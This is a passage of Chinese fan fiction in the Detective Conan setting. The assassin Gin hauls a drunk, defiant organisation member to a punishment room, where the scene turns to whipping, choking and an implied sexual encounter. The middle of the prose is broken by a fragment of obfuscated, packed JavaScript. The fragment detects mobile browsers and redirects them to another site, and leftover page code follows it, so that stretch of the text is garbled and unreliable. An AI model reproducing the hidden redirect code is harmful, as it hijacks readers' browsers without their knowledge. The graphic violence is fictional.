被艾辛丝嫌弃的金发男孩讪讪退下后,其他的男公关并没有气馁,反而更加卖力地围拢上来,试图博她一笑。
艾辛丝来者不拒,肆意享受着这群年轻男人的服侍。不过她没了带几个男人回去玩的心思,只是与他们饮酒取乐。
新开的酒很快被艾辛丝喝完了大半,整个卡座的气氛被推向了最顶峰,热烈得仿佛连空气都要燃烧起来。
然而,这激烈狂热的气氛却戛然而止。
一个穿着黑色风衣的高大男人踏进俱乐部,冷冰的视线环视四周,落在了艾辛丝身上。
他皱着眉头径直走来,身上那股与生俱来的阴鸷煞气,让围在艾辛丝身边的男公关们本能地感到心惊肉跳。
他们闭上嘴不敢出声,下意识地向两侧退去,让出了一条路。
察觉到周围突然安静下来的诡异气氛,艾辛丝醉眼朦胧地抬起头。
“哎呀~”艾辛丝笑了起来,声音因为醉酒而变得沙哑又甜腻,“看看这是谁?琴酒~你怎么来了?”
琴酒挥了挥手,周围的男公关们如蒙大赦地四散离开。他走到卡座前站定,居高临下地看着她:“艾辛丝,你知道我为什么来。”
艾辛丝当然知道他的来意。她特地挑了这家组织名下的俱乐部,就是想要在知道那位先生对自己的处置结果之前,抓紧时间尽情享乐。
来的是琴酒,不是朗姆的人。这个结果对她而言是件好事。
“呵呵,我当然知道~”她摇摇晃晃地起身,拿着酒杯在原地欢乐地转了一个圈,“哈哈哈哈哈,你今天见到朗姆了吗?老东西……嘻嘻~是不是要被气死了?”
酒精让她的脚步有些虚浮,她踉跄着上前一步,整个人软绵绵地靠在了琴酒身上。
“来得正好,琴酒……”她仰起头,艳丽的脸庞染上了两团醉意的酡红。她举起手里还剩半杯的洋酒,摇摇晃晃地递到琴酒唇边。
“来~陪我喝一杯~我请客!这里的酒……随便你喝!”
她的手腕摇晃,深色的酒液随着她的动作泼洒出来,直接溅在了琴酒的黑色风衣上,洇湿了一大片。
若是换了旁人敢这么做,此刻恐怕已经被□□的子弹打穿了脑袋。但琴酒只是任由她发酒疯,在她再一次试图把酒杯按到他嘴边时,一把抓住她的手腕,反手将她的手拧到身后。
“你疯够了没有。”琴酒声音低沉,绿眸中带着森寒的杀气。
“唔……痛!”艾辛丝皱眉轻呼,手掌一松,酒杯啪的一声摔碎在地上。
“琴酒!放开……我还没喝完~”艾辛丝扭着身体挣扎。
酒精彻底麻痹了神经,原本精湛的格斗技巧早已忘得一干二净。她软绵绵的反抗力道,在琴酒的力量面前不值一提。
琴酒看着眼前毫无理智的女人,抬起右手,一记手刀精准地劈在她的后颈。
他很清楚艾辛丝糟糕的酒品,这是对付她的最好方法。
艾辛丝眼前一黑,身体脱力软倒。琴酒面无表情地揽住她的腰,轻轻一提,像扛一袋货物般直接将人扛在肩上。
他无视周围惊骇的目光,大步流星地走出俱乐部大门。
***
“哗啦——!”
冰冷刺骨的水流迎面泼下,艾辛丝猛地呛出一口水。她意识回笼,迷迷糊糊地睁开眼,饮酒过度让她头痛欲裂,用力眨了眨,才让视线逐渐聚焦。
这是一间墙壁和地面都是灰色的狭窄房间,房顶中央悬挂着一盏冷光灯,房间没有窗户,显得逼仄压抑。
艾辛丝动了动身体,手腕立刻传来一阵刺痛。她的双手被手铐反剪在身后,一条粗重的铁链连接着手铐,穿过房梁上的滑轮将她吊起,脚尖堪堪能够触到地面。
琴酒正站在她面前。见她醒了过来,他便把手中空了的铁皮水桶随意扔到身后,一双墨绿色眼睛冷冷注视着她浑身湿透的狼狈模样。
“咳咳咳……琴酒……”
艾辛丝发出一阵猛烈的咳嗽,被吊起来的姿势让她的肩关节被拉伸到极致,带来脱臼般的剧痛。
她抬头看向琴酒,好像感觉不到痛楚般,带着轻佻的语气开口:“真是的,真是不懂得怜香惜玉……我的胳膊都要断了。”
琴酒没有理会她的调侃,转身走到一旁的刑具架前,背对着她挑选即将使用的工具。
艾辛丝环顾四周,心里对自己的处境已经有了数。
惩戒室。果然如她所料,那位先生不打算要她的命。而对于她这样的人来说,只要不被处死,那么其他的惩罚都给她造成不了什么实质性伤害。
“那位先生……是怎么说的?”艾辛丝扫了一眼那琳琅满目的刑具架,眼神中没有多少恐惧,随口问道。
“那位先生的意思是,让你把这批新进的东西,全都试一遍。只要你能扛过去,就可以滚出去了。”
这批新刑具是审讯组为了对付各国特工刚引进的,每一件都足以让受刑者求生不得求死不能。换做其他成员听到这个命令,恐怕早就吓得腿软。
但艾辛丝听完,只是不以为意地笑了笑:“哈……就这些吗?那位先生对我还不错~”
她微微仰起头,挑衅似的勾了勾嘴角:“那就快点吧,琴酒。喝酒喝得头好痛,早点弄完,我回家好好睡一觉。”
“你还是一如既往地不知死活。”琴酒从架子上挑选了一条鞭子,几步走回了艾辛丝面前。
“我就当你在夸我了~”艾辛丝笑着回应,随即话锋一转,“不过在开始之前,那位先生还有没有其他的命令?”
琴酒动作一顿:“什么?”
“我的人……波本,他怎么样了?”
手里提着鞭子的琴酒动作一顿。
这个女人自己身陷囹圄,即将面对残酷的刑罚。在这种时候,她居然还有心思关心别的男人?
“波本?被我处决了。”胸口升起一股没有来的暴躁情绪。琴酒蹙着眉毛,故意冷声答道。
“什么?”艾辛丝错愕地睁大眼睛,脸上那副清醒后就一直满不在乎的面具上出现了一丝裂痕。
波本死了?怎么可能?自己为了把他从事情里撇出来,明明已经提前把他关了起来。
琴酒本来只是存了试探的心思,捕捉到她脸上一瞬间的慌张失神后,他心中的一股无名火烧得更旺了。
不过是她随便捡回家来养的一条狗,她竟然真的这么在意他?
艾辛丝抬起头,正好撞进琴酒那双阴鸷的眼睛,墨绿色的冰面之下藏着些许难掩的暴躁。
艾辛丝心中一动。
他这副样子,可不像是刚刚按照命令处决了组织成员。他更像是心情不好,想要故意说话刺激她。
想通了这一节,艾辛丝提着的心放了下来。她定定地看着琴酒的方向,发出一声轻笑。
“你在骗我,琴酒。”
她歪了歪头,湿漉漉的长发贴在脸颊上。她像是发现了什么新大陆一样,眼波流转,语气变得玩味:“怎么?听到我关心他,你不高兴了?该不会是……吃醋了吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233013|197078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“闭嘴。”
琴酒猛地伸出手,手指死死扣住她的下巴,力道大得几乎要捏碎她的颌骨。
“艾辛丝。收起你那令人作呕的想象力。”
“是不是想象……你心里清楚。”
两人之间的距离很近,近到呼吸可闻。艾辛丝听着他比平日略显急促的喘息,愈发有恃无恐。
“找死。”
琴酒被她那副模样气得笑出了声,眼底寒光乍现,一把掐住了她纤细的脖颈。
她的身体被冷水打湿,唇色冻得发白。她苍白的嘴角微微勾起,一双潋滟的桃花眼饶有兴趣地看进他的眼睛,似乎在无声地邀请着什么。
惩戒室原本令人胆寒的气氛中,多了些呼吸交缠的火热。
琴酒俯下身,发狠地咬上了她的唇瓣。
“唔……”
他收紧手指,艾辛丝被掐得几乎窒息,濒死的压迫感海浪般袭来。她并没有挣扎,只是微微张开嘴,主动迎合了上去。
她的动作如同一颗掉入干柴的火星,理性的克制被骤然窜起的欲望火苗,焚烧殆尽。
……
不知过了多久,这场带着惩罚意味的掠夺终于结束。
琴酒退开半步,慢条斯理地整理着衣襟。除了微乱的银色发丝和嘴角沾染的一抹殷红,他又变回了那个冷酷整洁的杀手,仿佛刚才的失控从未发生过。
艾辛丝依然被吊在半空,双腿因为脱力而微微颤抖。她脸色潮红,还沉浸在余韵之中,胸口剧烈起伏。
琴酒看着她这副狼狈的模样,从怀里掏出烟盒,抖出一支烟叼在嘴里点燃。
“你该庆幸,就算做出这种事情,那位先生都没有杀你。”
“收起你那副肆无忌惮的疯样子,”琴酒夹着烟的手指隔空点了点艾辛丝的心口,冷声警告,“你真以为那位先生的容忍是没有底线的吗?”
听到这话,艾辛丝缓缓抬起头。凌乱的发丝遮住了大半张脸,露出一双亮得惊人的黑眸。
“哈哈……容忍?”
她像是听到了什么天大的笑话,笑得浑身颤抖,带动着铁链哗啦作响。
“搞错了吧,琴酒。是我在容忍他们才对。”
“组织这么多年的研究,才有区区几个成功样品。他不容忍我还能怎么样?杀了我,他到哪里再造出一个这么好用的怪物?到哪里采集成功实验体的样本?”
她的笑容逐渐变得扭曲:“如果真有那么一天……如果他想杀了我……我就算是死,也要把朗姆,还有乌丸莲……”
“啪!”
凌厉的一鞭狠狠抽在她的胸口,硬生生打断了她未尽的诅咒。
“闭嘴。想死的话我现在就成全你。”琴酒手中握着长鞭,暗红色的血液顺着鞭子滴落在地。
长鞭上的倒刺无情刮过肌肤,胸口处一片血肉模糊。剧痛让艾辛丝倒吸了一口冷气,她喘了两口粗气,轻笑一声:“你不会杀我的。没有那位先生的命令,你这把主人最好用的杀人工具,怎么可能擅自动手?”
“而且……就算那位先生知道我像恨朗姆一样恨他,那又怎么样?”艾辛丝嘲弄地勾起嘴角,“他根本不在意我们心里在想什么。只要我们的身体听命于他,只要我们还能为他办事,这就足够了。”
说到这里,她话锋一转,目光幽幽地落在琴酒脸上,声音变得轻柔而诡异。
“那你呢,琴酒?”
“你在组织的死士营里长大。那里恐怕不比我的实验室舒服多少吧?你不恨他吗?”